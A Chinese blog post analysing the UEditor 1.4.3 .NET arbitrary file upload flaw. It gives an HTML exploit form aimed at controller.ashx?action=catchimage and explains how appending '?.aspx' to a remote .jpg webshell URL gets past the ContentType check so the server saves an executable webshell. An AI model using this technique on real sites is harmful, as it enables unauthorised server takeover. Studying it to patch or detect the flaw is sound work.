.net Ueditor 1.4.3任意文件上传漏洞分析

0x01

.net 1.4.3这个版本的任意文件上传我记得是个老洞了.今天刚好在实战的时候遇到这个环境并且利用成功了.刚好可以水一篇文章发博客,好久没发东西了.

0x02

网上给出的利用方法是

<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
 
 <p>shell addr: <input type="text" name="source[]" /></p>
  
 <input type="submit" value="Submit" />
  
</form>

分析这段url 可以发现问题出现在controller.ashx这个文件上面.代码里面对接收过来的action参数进行switch判断.那我们直接找到 catchimage 这个点
1.png

实例化了CrawlerHandler类.找到该类代码.
2.png

这里需要指定传过来的name值为source[] . 然后他这里用了一个lambda表达式

this.Crawlers = (from x in this.Sources
        select new Crawler(x, base.Server).Fetch()).ToArray<Crawler>();
        base.WriteJson(new
        {
            state = "SUCCESS",
            list = from x in this.Crawlers
            select new
            {
                state = x.State,
                source = x.SourceUrl,
                url = x.ServerUrl
            }
        });

继续跟进 Fetch 方法

3.png

首先判断了statuscode就是网页状态码是不是200,然后在判断了文件的ContentType 是否存在 image . 众所周知ContentType 是可以随意更改的.然后他获取了配置文件的catcherPathFormat项.这个项里面是远程抓取文件的保存路径.然后发现他并没有继续判断获取的远程文件的合法性和后缀.直接写入了文件...
然后这里解释一下为什么需要用 ?.aspx 如果你在远程服务器上面直接存入aspx或者其他脚本格式后缀,是无法通过他的ContentType这一行判断语句的.所以需要在服务器上面写一个jpg后缀的一句话.然后填入内容的时候加上 ?.aspx 这样既绕过了ContentType的判断.也同时他会获取到最后一个.右边的后缀名进行保存.因为 ? 在url连接里面代表了get参数形式的传递.不会影响到具体访问的那一个文件.. 就像开发人员写验证码的时候 images.php?15xxxxxxxxx 这样的格式,后面用时间戳代替,就可以避免浏览器的缓存导致无法正确刷新验证码. 以上全部为个人理解.如有任何错误.请留言指出~

本文链接:

http://hentai6.cn/index.php/archives/43/
1 + 4 =
快来做第一个评论的人吧~